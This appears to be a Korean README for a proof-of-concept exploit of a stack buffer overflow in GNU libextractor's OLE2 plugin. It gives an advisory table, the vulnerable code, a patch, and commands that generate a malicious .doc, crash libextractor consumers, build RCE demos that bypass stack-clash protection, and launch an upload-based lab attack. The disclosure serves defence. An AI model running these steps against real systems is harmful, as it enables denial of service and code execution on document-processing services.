
GNU libextractor ≤ 1.14의 치명적인 스택 기반 버퍼 오버플로우에 대한 PoC. 악성 .doc 파일이 무제한 VLA 할당을 유발하여 무조건적인 DoS를 초래합니다. 멀티스레드 환경에서는 스택 클래시 보호를 우회하여 완전한 RCE가 가능합니다.
GNU libextractor의 OLE2 플러그인에 존재하는 스택 기반 버퍼 오버플로는 조작된 .doc 파일을 처리할 때 원격 서비스 거부(크래시) 및 코드 실행을 가능하게 합니다. 이 취약점은 process_star_office() (ole2_extractor.c:349)에 존재하며, 공격자가 제어하는 파일 데이터를 기반으로 최대 4MB의 가변 길이 배열(VLA)을 스택에 할당합니다.
주요 영향: 원격 서비스 거부 — 악성 파일을 처리하는 모든 애플리케이션 크래시
부차적 영향: 인접 스레드 스택을 통한 -fstack-clash-protection 우회로 인한 원격 코드 실행
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-91752 |
| 제품 | GNU libextractor |
| 영향받는 버전 | < 1.15 (1.14까지의 모든 버전) |
| 수정 버전 | 1.15 |
| CVSS 4.0 | 8.7 HIGH (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) |
| CVSS 3.1 | 7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| 심각도 | HIGH (DoS) / CRITICAL (다중 스레드 인프로세스 모드에서의 RCE) |
| CWE | CWE-789 (과도한 크기 값으로 인한 메모리 할당) / CWE-121 (스택 기반 버퍼 오버플로) |
| 공격 벡터 | 네트워크 (모든 파일 처리 경로) |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| CNA | VulnCheck |
| 연구자 | Haitam Lazaar |
참고: 최신 GCC(≥8)는 기본적으로
-fstack-clash-protection을 활성화하며, 이는 단일 스레드 애플리케이션에서 악용 가능한 오버플로를 안전한 크래시로 전환합니다. 그러나 이 완화책은 스레드 스택이 메모리에서 인접한 다중 스레드 애플리케이션에서 우회될 수 있습니다 — VLA 프로브가 인접 스레드의 스택으로 성공적으로 침투하여 강화된 빌드에서도 완전한 코드 실행이 가능해집니다. 자세한 내용은 docs/BYPASS.md를 참조하세요.
.doc 파일을 처리하는 모든 애플리케이션# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc
# Any application that processes this file with libextractor crashes:
extract exploit.doc # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc # GNUnet → gnunet-helper-fs-publish crashes

위 애니메이션은 lab-setup/ 디렉터리에 제공된 자동화된 실습 환경을 보여줍니다. 단순히 docker compose up을 실행하면 공격자 컨테이너가 자동으로 악성 .doc 페이로드를 생성하고 취약한 문서 인덱싱 웹 서비스에 업로드합니다. libextractor 파싱 로직이 VLA 스택 오버플로를 트리거하여 공격자가 조용히 임의 코드 실행을 달성할 수 있게 합니다. 대상 컨테이너에서 cat /tmp/pwned를 실행하여 명령 출력을 확인함으로써 익스플로잇을 검증합니다.
├── poc/ # Proof of concept
│ ├── gen_payload.py # Generates malicious .doc trigger file
│ ├── poc_rce.c # Demonstrates code execution (protection disabled)
│ └── bypass_rce.c # Stack-clash-protection bypass (multi-threaded)
├── exploit/ # Exploitation details
│ ├── remote_exploit.sh # Example: triggering via HTTP upload (lab scenario)
│ └── extract_server.c # Example: vulnerable application using libextractor
├── patches/ # Recommended fix
│ └── 0001-fix-ole2-vla.patch
├── lab-setup/ # Reproducible test environment
│ ├── Dockerfile # Builds vulnerable libextractor from source
│ ├── docker-compose.yml # Full lab (includes HTTP upload as one test vector)
│ └── upload_server.py # Document indexing service simulation
└── docs/
├── BYPASS.md # Stack-clash-protection bypass technique
└── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation
# Build libextractor from source
./configure && make && sudo make install
# Generate trigger file
python3 poc/gen_payload.py exploit.doc
# Crash any libextractor consumer
extract exploit.doc # crashes the OLE2 plugin worker
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc # executes attacker payload (exit code 42)
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc # bypasses protection, executes payload (exit code 42)
docker-compose -f lab-setup/docker-compose.yml up -d
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src); // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0; // Max 4MB allowed — but stack is 1-8MB
char buf[size]; // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf); // Write attacker data
-fstack-clash-protection 없이 컴파일러는 다음을 생성합니다:
sub %rax, %rsp ; Single instruction, jumps RSP past guard page
-fstack-clash-protection을 사용하더라도 다중 스레드 컨텍스트에서는 프로브가 여전히 우회될 수 있습니다 (docs/BYPASS.md 참조).
- if ( (size < 0x374) ||
- (size > 4 * 1024 * 1024) )
+ char buf[0x374];
+
+ if (size < 0x374)
return 0;
- {
- char buf[size];
- gsf_input_read (src, size, (unsigned char*) buf);
+ gsf_input_read (src, sizeof(buf), (unsigned char*) buf);
독립 보안 연구 중 저(Haitam Lazaar)가 발견했습니다.
GNU libextractor의 메인테이너인 Christian Grothoff에게 특별히 감사드립니다. 이번 감사 중 보고된 이 문제와 여러 다른 메모리 안전 문제를 해결하기 위한 놀랍도록 빠른 트리아지, 전문적인 커뮤니케이션, 그리고 신속한 패치 배포(v1.15, v1.16, v1.17)에 감사드립니다.
제 연구는 교육 및 방어 목적으로 제공됩니다. 책임감 있게 사용하세요.